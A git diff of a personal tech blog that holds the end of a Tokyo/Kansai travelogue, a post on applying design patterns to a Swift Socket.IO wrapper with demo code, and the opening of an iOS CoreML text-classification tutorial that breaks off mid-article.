Actually, I went to Tokyo again from 6/7-11 😝 Stay tuned for the next episode of my travelogue

Overall, convenient transportation, peaceful, pleasant weather (in May, it feels like autumn in Taiwan, cool at night), people have boundaries and are polite; really loved it!

In terms of expenses, considering the current exchange rate and prices, it’s actually cheaper than Taiwan…

Accommodation and Transportation:

  • Trains and buses have higher coverage and are more convenient than in Taiwan; only took a taxi on the first day to the hotel.
  • Despite the convenience of transportation, Japan is vast, so you’ll need to walk a lot, averaging about 20,000 steps a day.
  • Standing on the left or right isn’t consistent, in Kyoto it’s left, in Osaka it’s right.
  • Buses wait for passengers to sit before departing, and wait for passengers to stand up and alight slowly; so there’s no need to start moving before reaching your stop, the Japanese don’t like that.
  • Hotel bathrooms are very clean and comfortable; even the smallest ones have bathtubs.
  • Almost all toilets are high-tech, some in department stores even have background water sounds (to avoid embarrassment).

Peak Steps 5/23-5/28

Peak Steps 5/23-5/28

Culture:

  • Clean and uniform cityscape (e.g. all entrances look the same, no variation in having shoe cabinets or not, if one has it, they all do, if not, none do).
  • No eating while walking, people finish eating at the store entrance before moving on.
  • Trash must be taken back to the hotel, there are few trash cans on the streets, so it’s convenient to return the trash to the store after eating at the entrance.
  • Stores only accept their own trash.
  • Basic English is not widely understood, simple gestures or translation apps are used; but drugstores and large shopping centers usually have Chinese-speaking staff.
  • When buying tickets, receiving receipts, giving or receiving change, remember to place directly on/from the tray, avoid direct contact with the staff.
  • Avoid physical contact and standing too close.
  • Public transport is generally very quiet, especially on buses.
  • When taking photos, try not to shoot directly at people or their faces, blur faces before uploading to social media.
  • When photographing temples, take angled shots, not straight-on.
  • Emphasis on detailed SOP, and it doesn’t seem easy to blend in with Japan.
  • Japanese people generally dress very formally or at least stylishly, even women are very refined.

Also, don’t criticize others, we encountered a group from Taiwan (they had 🇹🇼 on their bags) similar to a direct sales company’s employees at Universal Studios, loudly shouting slogans and repeatedly filming “super awesome, performance is awesome” in the middle of the road, blocking the way; it was embarrassing.

Returning to work and “products”

In my opinion, if you want to enter the Japanese market, relying solely on advertising and marketing might be challenging, at most attracting some curious individuals; Japan has a strong cultural unity, so you need to find a way to integrate into their lives and habits to have a chance at winning their hearts.

In addition, the fault tolerance is very low, for example, bugs, unexpected appearance of other languages; for us, it may be okay once or twice, or at least not happening frequently; for them, I think it could be a disaster with just one occurrence because this thing is not rigorous enough and does not value them.


👑 Finally, the most reliable travel companion Huang Xinping

Successful Kansai Trip!

Successful Kansai Trip!

KKday Promotion

More Travel Journals

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

ZMediumToJekyll

Travelogue 2023 Tokyo 5-Day Free and Easy Trip

diff --git a/posts/78507a8de6a5/index.html b/posts/78507a8de6a5/index.html new file mode 100644 index 0000000000..3e2217c18e --- /dev/null +++ b/posts/78507a8de6a5/index.html @@ -0,0 +1,935 @@ + Record of Practical Application of Design Patterns | ZhgChgLi
Home Record of Practical Application of Design Patterns
Post
Cancel

Record of Practical Application of Design Patterns

Record of Practical Application of Design Patterns

Record of problem scenarios encountered and solutions applied when encapsulating Socket.IO Client Library requirements using Design Patterns

Photo by [Daniel McCullough](https://unsplash.com/@d_mccullough?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Daniel McCullough

Preface

This article is a record of real-world development requirements, where Design Patterns were applied to solve problems. The content will cover the background of the requirements, the actual problem scenarios encountered (What?), why Design Patterns were applied to solve the problems (Why?), and how they were implemented (How?). It is recommended to read from the beginning for coherence.

This article will introduce four scenarios encountered in developing this requirement and the application of seven Design Patterns to solve these scenarios.

Background

Organizational Structure

This year, the company split into Feature Teams (multiple) and Platform Team; the former mainly focuses on user-side requirements, while the Platform Team deals with internal members of the company. One of their tasks is to introduce technology, build infrastructure, and ensure systematic integration to pave the way for Feature Teams when developing requirements.

Current Requirement

The Feature Teams needed to change the original messaging feature (fetching message data by calling APIs on the page, requiring a refresh for the latest messages) to real-time communication (receiving the latest messages instantly, and sending messages).

Platform Team’s Work

The Platform Team’s focus was not only on the immediate real-time communication requirement but also on long-term development and reusability. After evaluation, it was deemed essential to have a WebSocket bidirectional communication mechanism in modern apps. Apart from the current requirement, there will be many future opportunities to use this mechanism. With the available resources, efforts were put into designing and developing the interface.

Goals:

  • Encapsulate communication between Pinkoi Server Side and Socket.IO, including authentication logic
  • Simplify Socket.IO operations, providing an extensible and user-friendly interface based on Pinkoi’s business requirements
  • Standardize the interface for both platforms (Socket.IO’s Android and iOS Client Side Libraries have different functionalities and interfaces)
  • Feature side does not need to understand Socket.IO mechanisms
  • Feature side does not need to manage complex connection states
  • Future bidirectional communication requirements using WebSocket can be directly implemented

Time and Resources:

  • One developer each for iOS and Android
  • Development timeline: 3 weeks

Technical Details

This Feature will be supported on Web, iOS, and Android platforms. WebSocket bidirectional communication protocol will be introduced for implementation, with the backend expected to directly use Socket.io service.

Firstly, Socket != WebSocket

For more information on Socket and WebSocket and technical details, refer to the following two articles:

In short:

1
+2
+
Socket is an abstract encapsulation interface for the TCP/UDP transport layer, while WebSocket is a transmission protocol at the application layer.
+The relationship between Socket and WebSocket is like that of a dog and a hot dog, they are unrelated.
+

Socket.IO is a layer of abstract operation encapsulation for Engine.IO, which encapsulates the use of WebSocket. Each layer is only responsible for communication between the upper and lower layers and does not allow operations to pass through (e.g. Socket.IO directly operating WebSocket connections).

In addition to basic WebSocket connections, Socket.IO/Engine.IO also implements many convenient and useful feature sets (e.g. offline event sending mechanism, similar to HTTP request mechanism, room/group mechanism, etc.).

The main responsibility of the Platform Team is to bridge the logic between Socket.IO and Pinkoi Server Side for use by the upper Feature Teams during development.

Socket.IO Swift Client has pitfalls

  • Has not been updated for a long time (latest version is still in 2019), unsure if it is still being maintained.
  • Client & Server Side Socket IO Version must be aligned, Server Side can add {allowEIO3: true} / or Client Side specify the same version .version Otherwise, it won’t connect.
  • Naming conventions, interfaces, and many examples on the official website do not match.
  • Socket.IO official website examples are based on web, but in reality, the Swift Client may not fully support the functionalities written on the website. In this implementation, we found that the iOS library did not implement the offline event sending mechanism (we implemented it ourselves, please continue reading)

It is recommended to experiment with the mechanisms you want to use before adopting Socket.IO.

Socket.IO Swift Client is based on Starscream WebSocket Library, and can be downgraded to use Starscream if necessary.

1
+
Background information supplement ends here, let's move on to the main topic.
+

Design Patterns

Design patterns are simply solutions to common problems in software design. You don’t necessarily have to use design patterns to develop; design patterns may not be applicable to all scenarios, and there’s no rule against deriving new design patterns on your own.

[The Catalog of Design Patterns](https://refactoring.guru/design-patterns/catalog){:target="_blank"}

The Catalog of Design Patterns

However, existing design patterns (The 23 Gang of Four Design Patterns) are common knowledge in software design. Just mentioning an XXX Pattern will trigger a corresponding mental blueprint in everyone’s mind, without the need for much explanation. It is easier to understand the context for future maintenance, and these methods have been validated by the industry, so there’s no need to spend time examining object dependency issues. Choosing the right pattern for the right scenario can reduce communication and maintenance costs, and improve development efficiency.

Design patterns can be combined, but it is not recommended to modify existing design patterns, forcibly apply patterns that do not fit, or apply patterns that do not belong to the category (e.g. using the Chain of Responsibility pattern to create objects), as it may lose its meaning and potentially cause misunderstandings for future maintainers.

Design Patterns mentioned in this article:

I will translate the content into English:


This article focuses on the application of Design Patterns, not the operation of Socket.IO. Some examples may be simplified for descriptive purposes and may not be applicable to real Socket.IO encapsulation.

Due to space limitations, this article will not provide detailed introductions to the architecture of each design pattern. Please click on the links for each pattern to understand its architecture before continuing to read.

Demo Code will be written in Swift.

Scenario 1.

What?

  • Reuse the same Path to obtain the same object when requesting a Connection on different pages or Objects.
  • The Connection should be an abstract interface and should not directly depend on the Socket.IO Object.

Why?

  • Reduce memory overhead and the time and cost of repeated connections.
  • Reserve space for future replacement with other frameworks.

How?

  • Singleton Pattern: A creational pattern that ensures only one instance of an object.
  • Flyweight Pattern: A structural pattern that shares the state of multiple objects and reuses them.
  • Factory Pattern: A creational pattern that provides a method for creating abstract objects, allowing them to be swapped externally.

Real-world usage:

  • Singleton Pattern: ConnectionManager exists as a single object in the App Lifecycle, used to manage Connection operations.
  • Flyweight Pattern: ConnectionPool is a shared pool of Connections, where Connections are retrieved from this pool, and the logic includes providing an existing Connection when the URL Path matches. ConnectionHandler acts as an external operator and state manager for Connection.
  • Factory Pattern: ConnectionFactory works with the Flyweight Pattern. When no reusable Connection is found in the pool, this factory interface is used to create one.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+
import Combine
+import Foundation
+
+protocol Connection {
+    var url: URL {get}
+    var id: UUID {get}
+    
+    init(url: URL)
+    
+    func connect()
+    func disconnect()
+    
+    func sendEvent(_ event: String)
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never>
+}
+
+protocol ConnectionFactory {
+    func create(url: URL) -> Connection
+}
+
+class ConnectionPool {
+    
+    private let connectionFactory: ConnectionFactory
+    private var connections: [Connection] = []
+    
+    init(connectionFactory: ConnectionFactory) {
+        self.connectionFactory = connectionFactory
+    }
+    
+    func getOrCreateConnection(url: URL) -> Connection {
+        if let connection = connections.first(where: { $0.url == url }) {
+            return connection
+        } else {
+            let connection = connectionFactory.create(url: url)
+            connections.append(connection)
+            return connection
+        }
+    }
+    
+}
+
+class ConnectionHandler {
+    private let connection: Connection
+    init(connection: Connection) {
+        self.connection = connection
+    }
+    
+    func getConnectionUUID() -> UUID {
+        return connection.id
+    }
+}
+
+class ConnectionManager {
+    static let shared = ConnectionManager(connectionPool: ConnectionPool(connectionFactory: SIOConnectionFactory()))
+    private let connectionPool: ConnectionPool
+    private init(connectionPool: ConnectionPool) {
+        self.connectionPool = connectionPool
+    }
+    
+    //
+    func requestConnectionHandler(url: URL) -> ConnectionHandler {
+        let connection = connectionPool.getOrCreateConnection(url: url)
+        return ConnectionHandler(connection: connection)
+    }
+}
+
+// Socket.IO Implementation
+class SIOConnection: Connection {
+    let url: URL
+    let id: UUID = UUID()
+    
+    required init(url: URL) {
+        self.url = url
+        //
+    }
+    
+    func connect() {
+        //
+    }
+    
+    func disconnect() {
+        //
+    }
+    
+    func sendEvent(_ event: String) {
+        //
+    }
+    
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never> {
+        //
+        return PassthroughSubject<Data?, Never>().eraseToAnyPublisher()
+    }
+}
+
+class SIOConnectionFactory: ConnectionFactory {
+    func create(url: URL) -> Connection {
+        //
+        return SIOConnection(url: url)
+    }
+}
+//
+
+print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: "wss://pinkoi.com/1")!).getConnectionUUID().uuidString)
+print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: "wss://pinkoi.com/1")!).getConnectionUUID().uuidString)
+
+print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: "wss://pinkoi.com/2")!).getConnectionUUID().uuidString)
+
+// output:
+// D99F5429-1C6D-4EB5-A56E-9373D6F37307
+// D99F5429-1C6D-4EB5-A56E-9373D6F37307
+// 599CF16F-3D7C-49CF-817B-5A57C119FE31
+

Scenario 2.

What?

As mentioned in the background technical details, the Send Event of the Socket.IO Swift Client does not support offline sending (but the Web/Android versions of the library do), so iOS needs to implement this feature on its own.

1
+
Interestingly, the Socket.IO Swift Client - onEvent supports offline subscription.
+

Why?

  • Unified cross-platform functionality
  • Easy-to-understand code

How?

  • Command Pattern: A behavioral pattern that encapsulates operations into objects, providing a collection of operations such as queuing, delaying, canceling, etc.

  • Command Pattern: SIOManager is the lowest-level encapsulation for communicating with Socket.IO, where the send and request methods are operations for Socket.IO Send Event. When the current Socket.IO is found to be disconnected, the request parameters are placed in bufferedCommands, and when connected, they are processed one by one (First In First Out).
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+
protocol BufferedCommand {
+    var sioManager: SIOManagerSpec? { get set }
+    var event: String { get }
+    
+    func execute()
+}
+
+struct SendBufferedCommand: BufferedCommand {
+    let event: String
+    weak var sioManager: SIOManagerSpec?
+    
+    func execute() {
+        sioManager?.send(event)
+    }
+}
+
+struct RequestBufferedCommand: BufferedCommand {
+    let event: String
+    let callback: (Data?) -> Void
+    weak var sioManager: SIOManagerSpec?
+    
+    func execute() {
+        sioManager?.request(event, callback: callback)
+    }
+}
+
+protocol SIOManagerSpec: AnyObject {
+    func connect()
+    func disconnect()
+    func onEvent(event: String, callback: @escaping (Data?) -> Void)
+    func send(_ event: String)
+    func request(_ event: String, callback: @escaping (Data?) -> Void)
+}
+
+enum ConnectionState {
+    case created
+    case connected
+    case disconnected
+    case reconnecting
+    case released
+}
+
+class SIOManager: SIOManagerSpec {
+        
+    var state: ConnectionState = .disconnected {
+        didSet {
+            if state == .connected {
+                executeBufferedCommands()
+            }
+        }
+    }
+    
+    private var bufferedCommands: [BufferedCommand] = []
+    
+    func connect() {
+        state = .connected
+    }
+    
+    func disconnect() {
+        state = .disconnected
+    }
+    
+    func send(_ event: String) {
+        guard state == .connected else {
+            appendBufferedCommands(connectionCommand: SendBufferedCommand(event: event, sioManager: self))
+            return
+        }
+        
+        print("Send:\(event)")
+    }
+    
+    func request(_ event: String, callback: @escaping (Data?) -> Void) {
+        guard state == .connected else {
+            appendBufferedCommands(connectionCommand: RequestBufferedCommand(event: event, callback: callback, sioManager: self))
+            return
+        }
+        
+        print("request:\(event)")
+    }
+    
+    func onEvent(event: String, callback: @escaping (Data?) -> Void) {
+        //
+    }
+    
+    func appendBufferedCommands(connectionCommand: BufferedCommand) {
+        bufferedCommands.append(connectionCommand)
+    }
+    
+    func executeBufferedCommands() {
+        // First in, first out
+        bufferedCommands.forEach { connectionCommand in
+            connectionCommand.execute()
+        }
+        bufferedCommands.removeAll()
+    }
+    
+    func removeAllBufferedCommands() {
+        bufferedCommands.removeAll()
+    }
+}
+
+let manager = SIOManager()
+manager.send("send_event_1")
+manager.send("send_event_2")
+manager.request("request_event_1") { _ in
+    //
+}
+manager.state = .connected
+

Similarly, this can also be implemented on onEvent.

Extension: You can further apply the Proxy Pattern to treat Buffer functionality as a type of Proxy.

Scenario 3.

What?

The Connection has multiple states, with ordered states and transitions between states, allowing different operations in each state.

  • Created: Object is created, allowing transition to Connected or directly to Disconnected
  • Connected: Connected to Socket.IO, allowing transition to Disconnected
  • Disconnected: Disconnected from Socket.IO, allowing transition to Reconnectiong or Released
  • Reconnectiong: Attempting to reconnect to Socket.IO, allowing transition to Connected or Disconnected
  • Released: Object marked for pending memory release, no operations or state transitions allowed

Why?

  • The logic and representation of state transitions are not straightforward
  • Restricting operations in each state (e.g., State = Released cannot Call Send Event) using if…else directly makes the code hard to maintain and read

How?

  • Finite State Machine: SIOConnectionStateMachine implements the state machine, currentSIOConnectionState represents the current state, and created, connected, disconnected, reconnecting, released list the possible state transitions of this state machine. enterXXXState() throws implements the allowed and disallowed (throw error) actions when transitioning from the Current State to a specific state.
  • State Pattern: SIOConnectionState is the interface abstraction for all operations that states may use.
1
+
// Code block translated comments only, code remains in English
+

Combining scenarios 1 and 2, with the ConnectionPool flyweight pool and State Pattern state management; we continue to extend as described in the background goals, the Feature side does not need to worry about the connection mechanism behind the Connection; therefore, we have created a poller (named ConnectionKeeper) that will periodically scan the ConnectionPool for actively held Connection and perform operations when the following conditions occur:

  • If a Connection is in use and the state is not Connected: change the state to Reconnecting and attempt to reconnect.
  • If a Connection is not in use and the state is Connected: change the state to Disconnected.
  • If a Connection is not in use and the state is Disconnected: change the state to Released and remove it from the ConnectionPool.

Why?

  • The three operations have a logical order and are mutually exclusive (disconnected -> released or reconnecting).
  • Flexibility to swap and add operational scenarios.
  • Without encapsulation, one would have to directly write the three checks and operations in a method (difficult to test the logic within).
  • e.g.:
1
+2
+3
+4
+5
+6
+7
+
if !connection.isOccupied() && connection.state == .connected then
+... connection.disconnected()
+else if !connection.isOccupied() && state == .released then
+... connection.release()
+else if connection.isOccupied() && state == .disconnected then
+... connection.reconnecting()
+end
+

How?

  • Chain Of Responsibility: A behavioral pattern, as the name suggests, is a chain where each node has corresponding operations. After inputting data, a node can decide whether to operate or pass it to the next node for processing. Another real-world application is the iOS Responder Chain.

By definition, the Chain of Responsibility Pattern does not allow a node to take over processing data and then pass it to the next node to continue processing. Either do it completely or don’t do it at all.

If the above scenario is more suitable, it should be the Interceptor Pattern.

  • Chain of responsibility: ConnectionKeeperHandler is an abstract node of the chain, specifically extracting the canExecute method to avoid the situation where this node takes over processing but then wants to call the next node to continue execution, handle connects the nodes in the chain, and execute is the logic of how to handle the processing. ConnectionKeeperHandlerContext is used to store data that will be used, isOccupied indicates whether the Connection is in use.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+
enum ConnectionState {
+    case created
+    case connected
+    case disconnected
+    case reconnecting
+    case released
+}
+
+protocol Connection {
+    var connectionState: ConnectionState {get}
+    var url: URL {get}
+    var id: UUID {get}
+    
+    init(url: URL)
+    
+    func connect()
+    func reconnect()
+    func disconnect()
+    
+    func sendEvent(_ event: String)
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never>
+}
+
+// Socket.IO Implementation
+class SIOConnection: Connection {
+    let connectionState: ConnectionState = .created
+    let url: URL
+    let id: UUID = UUID()
+    
+    required init(url: URL) {
+        self.url = url
+        //
+    }
+    
+    func connect() {
+        //
+    }
+    
+    func disconnect() {
+        //
+    }
+    
+    func reconnect() {
+        //
+    }
+    
+    func sendEvent(_ event: String) {
+        //
+    }
+    
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never> {
+        //
+        return PassthroughSubject<Data?, Never>().eraseToAnyPublisher()
+    }
+}
+
+//
+
+struct ConnectionKeeperHandlerContext {
+    let connection: Connection
+    let isOccupied: Bool
+}
+
+protocol ConnectionKeeperHandler {
+    var nextHandler: ConnectionKeeperHandler? { get set }
+    
+    func handle(context: ConnectionKeeperHandlerContext)
+    func execute(context: ConnectionKeeperHandlerContext)
+    func canExecute(context: ConnectionKeeperHandlerContext) -> Bool
+}
+
+extension ConnectionKeeperHandler {
+    func handle(context: ConnectionKeeperHandlerContext) {
+        if canExecute(context: context) {
+            execute(context: context)
+        } else {
+            nextHandler?.handle(context: context)
+        }
+    }
+}
+
+class DisconnectedConnectionKeeperHandler: ConnectionKeeperHandler {
+    var nextHandler: ConnectionKeeperHandler?
+    
+    func execute(context: ConnectionKeeperHandlerContext) {
+        context.connection.disconnect()
+    }
+    
+    func canExecute(context: ConnectionKeeperHandlerContext) -> Bool {
+        if context.connection.connectionState == .connected && !context.isOccupied {
+            return true
+        }
+        return false
+    }
+}
+
+class ReconnectConnectionKeeperHandler: ConnectionKeeperHandler {
+    var nextHandler: ConnectionKeeperHandler?
+    
+    func execute(context: ConnectionKeeperHandlerContext) {
+        context.connection.reconnect()
+    }
+    
+    func canExecute(context: ConnectionKeeperHandlerContext) -> Bool {
+        if context.connection.connectionState == .disconnected && context.isOccupied {
+            return true
+        }
+        return false
+    }
+}
+
+class ReleasedConnectionKeeperHandler: ConnectionKeeperHandler {
+    var nextHandler: ConnectionKeeperHandler?
+    
+    func execute(context: ConnectionKeeperHandlerContext) {
+        context.connection.disconnect()
+    }
+    
+    func canExecute(context: ConnectionKeeperHandlerContext) -> Bool {
+        if context.connection.connectionState == .disconnected && !context.isOccupied {
+            return true
+        }
+        return false
+    }
+}
+let connection = SIOConnection(url: URL(string: "wss://pinkoi.com")!)
+let disconnectedHandler = DisconnectedConnectionKeeperHandler()
+let reconnectHandler = ReconnectConnectionKeeperHandler()
+let releasedHandler = ReleasedConnectionKeeperHandler()
+disconnectedHandler.nextHandler = reconnectHandler
+reconnectHandler.nextHandler = releasedHandler
+
+disconnectedHandler.handle(context: ConnectionKeeperHandlerContext(connection: connection, isOccupied: false))
+

Requirement Scenario 4.

What?

We need to go through the setup of the Connection we encapsulated before using it, such as providing the URL Path, setting Config, etc.

Why?

  • Flexibility to add or remove building interfaces
  • Reusability of building logic
  • Without encapsulation, external entities can operate on classes unexpectedly
  • e.g.:
1
+2
+3
+4
+5
+6
+7
+8
+
❌
+let connection = Connection()
+connection.send(event) // unexpected method call, should call .connect() first
+✅
+let connection = Connection()
+connection.connect()
+connection.send(event)
+// but...who knows???
+

How?

  • Builder Pattern: A creational pattern that allows step-by-step construction of objects and reuses construction methods.

  • Builder Pattern: SIOConnectionBuilder is the builder for Connection, responsible for setting and storing data needed to build Connection; ConnectionConfiguration abstract interface ensures that .connect() must be called before using Connection to get the Connection instance.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+
enum ConnectionState {
+    case created
+    case connected
+    case disconnected
+    case reconnecting
+    case released
+}
+
+protocol Connection {
+    var connectionState: ConnectionState {get}
+    var url: URL {get}
+    var id: UUID {get}
+    
+    init(url: URL)
+    
+    func connect()
+    func reconnect()
+    func disconnect()
+    
+    func sendEvent(_ event: String)
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never>
+}
+
+// Socket.IO Implementation
+class SIOConnection: Connection {
+    let connectionState: ConnectionState = .created
+    let url: URL
+    let id: UUID = UUID()
+    
+    required init(url: URL) {
+        self.url = url
+        //
+    }
+    
+    func connect() {
+        //
+    }
+    
+    func disconnect() {
+        //
+    }
+    
+    func reconnect() {
+        //
+    }
+    
+    func sendEvent(_ event: String) {
+        //
+    }
+    
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never> {
+        //
+        return PassthroughSubject<Data?, Never>().eraseToAnyPublisher()
+    }
+}
+
+//
+class SIOConnectionClient: ConnectionConfiguration {
+    private let url: URL
+    private let config: [String: Any]
+    
+    init(url: URL, config: [String: Any]) {
+        self.url = url
+        self.config = config
+    }
+    
+    func connect() -> Connection {
+        // set config
+        return SIOConnection(url: url)
+    }
+}
+
+protocol ConnectionConfiguration {
+    func connect() -> Connection
+}
+
+class SIOConnectionBuilder {
+    private(set) var config: [String: Any] = [:]
+    
+    func setConfig(_ config: [String: Any]) -> SIOConnectionBuilder {
+        self.config = config
+        return self
+    }
+    
+    // url is required parameter
+    func build(url: URL) -> ConnectionConfiguration {
+        return SIOConnectionClient(url: url, config: self.config)
+    }
+}
+
+let builder = SIOConnectionBuilder().setConfig(["test":123])
+
+
+let connection1 = builder.build(url: URL(string: "wss://pinkoi.com/1")!).connect()
+let connection2 = builder.build(url: URL(string: "wss://pinkoi.com/1")!).connect()
+

Extension: Here you can also apply the Factory Pattern, to produce SIOConnection using a factory.

End!

The above are the four scenarios encountered in encapsulating Socket.IO and the seven Design Patterns used to solve the problems.

Finally, here is the complete design blueprint for encapsulating Socket.IO

Contrary to the naming and demonstration in the text, this image represents the actual design architecture; there may be an opportunity for the original designer to share design concepts and open source the project.

Who?

Who designed these and is responsible for the Socket.IO encapsulation project?

Sean Zheng, Android Engineer @ Pinkoi

Main architect, evaluation and application of Design Patterns, implementation of design in Kotlin on the Android side.

ZhgChgLi, Enginner Lead/iOS Enginner @ Pinkoi

Project lead of the Platform Team, Pair programming, implementation of design in Swift on the iOS side, discussion and raising questions (a.k.a. speaking up), and finally writing this article to share with everyone.

Further Reading

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate

Converting Medium Posts to Markdown

diff --git a/posts/793bf2cdda0f/index.html b/posts/793bf2cdda0f/index.html new file mode 100644 index 0000000000..d4e91329f1 --- /dev/null +++ b/posts/793bf2cdda0f/index.html @@ -0,0 +1,45 @@ + Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself! | ZhgChgLi
Home Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself!
Post
Cancel

Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself!

Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself!

Explore CoreML 2.0, how to convert or train models and apply them in real products

Following the previous article on researching machine learning on iOS, this article officially delves into using CoreML.

First, a brief history: Apple released CoreML (including Vision introduced in the previous article) machine learning framework in 2017; in 2018, they followed up with CoreML 2.0, which not only improved performance but also supports custom CoreML models.

Introduction

If you’ve only heard the term “machine learning” but don’t understand what it means, here’s a simple explanation in one sentence:

“Predict the outcome of similar future events based on your past experiences.”

For example: I like to add ketchup to my egg pancake. After buying it a few times, the breakfast shop owner remembers, “Sir, ketchup?” I reply, “Yes” — the owner predicts correctly; if I reply, “No, because it’s radish cake + egg pancake” — the owner remembers and adjusts the question next time.

Input data: egg pancake, cheese egg pancake, egg pancake + radish cake, radish cake, egg

Output data: add ketchup / no ketchup

Model: the owner’s memory and judgment

My understanding of machine learning is also purely theoretical, without in-depth practical knowledge. If there are any mistakes, please correct me.

This is where I must thank Apple for productizing machine learning, making it accessible with just basic concepts and lowering the entry barrier. It was only after implementing this example that I felt a tangible connection to machine learning, sparking a great interest in this field.

Getting Started

The first and most important step is the “model” mentioned earlier. Where do models come from?

There are three ways:

  • Find pre-trained models online and convert them to CoreML format.

Awesome-CoreML-Models is a GitHub project that collects many pre-trained models.

For model conversion, refer to the official website or online resources.

  • Download pre-trained models from Apple’s Machine Learning website at the bottom of the page, mainly for learning or testing purposes.
  • Use tools to train your own model🏆

So, what can you do?

  • Image recognition 🏆
  • Text content recognition and classification🏆
  • Text segmentation
  • Language detection
  • Named entity recognition

For text segmentation, refer to Natural Language Processing in iOS Apps: An Introduction to NSLinguisticTagger

Today’s Main Focus — Text Content Recognition and Classification + Training Your Own Model

In simple terms, we provide the machine with “text content” and “categories” to train the computer to classify future data. For example: “Click to see the latest offers!”, “Get $1000 shopping credit now” => “Advertisement”; “Alan sent you a message”, “Your account is about to expire” => “Important matters”

Practical applications: spam detection, tag generation, classification prediction

p.s. I haven’t thought of any practical uses for image recognition yet, so I haven’t researched it; interested friends can check this article, the official site provides a convenient GUI training tool for images!!

Required Tools: MacOS Mojave⬆ + Xcode 10

Training Tool: BlankSpace007/TextClassiferPlayground (The official tool only provides GUI training tools for images, for text you need to write your own; this is a third-party tool provided by an expert online)

Preparing Training Data:

Data structure as shown above, supports .json, .csv files

Data structure as shown above, supports .json, .csv files

Prepare the data to be used for training, here we use Phpmyadmin (Mysql) to export the training data

1
+
SELECT `title` AS `text`,`type` AS `label` FROM `posts` WHERE `status` = '1'
+

Change the export format to JSON

Change the export format to JSON

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
[
+  {"type":"header","version":"4.7.5","comment":"Export to JSON plugin for PHPMyAdmin"},
+  {"type":"database","name":"db"},
+  {"type":"table","name":"posts","database":"db","data":
+    // Delete above
+    [
+      {
+         "label":"",
+         "text":""
+      }
+    ]
+    // Delete below
+  }
+]
+

Open the downloaded JSON file and keep only the content within the DATA structure

Using the Training Tool:

After downloading the training tool, click TextClassifer.playground to open Playground

Click the red box to execute -> click the green box to switch View display

Click the red box to execute -> click the green box to switch View display

Drag the JSON file into the GUI tool

Drag the JSON file into the GUI tool

Open the Console below to check the training progress, seeing "Test Accuracy" means the model training is complete

Open the Console below to check the training progress, seeing “Test Accuracy” means the model training is complete

If there is too much data, it will test your computer’s processing power.

Fill in the basic information and click "Save"

Fill in the basic information and click “Save”

Save the trained model file

CoreML model file

CoreML model file

At this point, your model is already trained! Isn’t it easy?

Specific Training Method:

